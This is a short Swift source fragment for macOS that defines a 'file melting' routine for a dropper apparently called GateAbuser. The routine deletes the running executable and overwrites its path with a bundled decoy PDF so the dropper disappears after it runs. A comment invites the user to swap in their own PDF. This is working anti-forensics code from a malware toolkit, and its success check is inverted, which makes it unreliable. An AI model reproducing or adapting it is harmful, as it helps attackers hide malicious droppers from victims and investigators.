/* `whodini` is a basic "file melting" function. Effectively whodini takes the bundled PDF and overwrites GateAbuser with this PDF. Subsequent runs of the GateAbuser binary will actually be running the PDF directly as the contents of GateAbuser will be overwritten. */ func whodini() { // Grab file paths var mainBundle = NSBundle.mainBundle() // Change "menu" to name of your pdf var pdfPath = NSString(string: mainBundle.pathForResource("menu", ofType: "pdf")!) var app = NSRunningApplication.currentApplication().executableURL! var appPath = app.path // Set up our File Manager let fileManager = NSFileManager.defaultManager() // Nuke dropper if (!fileManager.removeItemAtPath(appPath!, error: nil)) { print("Goofed") } // Ensure dropper was deleted if !fileManager.fileExistsAtPath(appPath!) { // Copy our benign file over if !fileManager.copyItemAtPath(pdfPath, toPath: appPath!, error: nil) { print("We did it!") } } else { print("Goofed") } }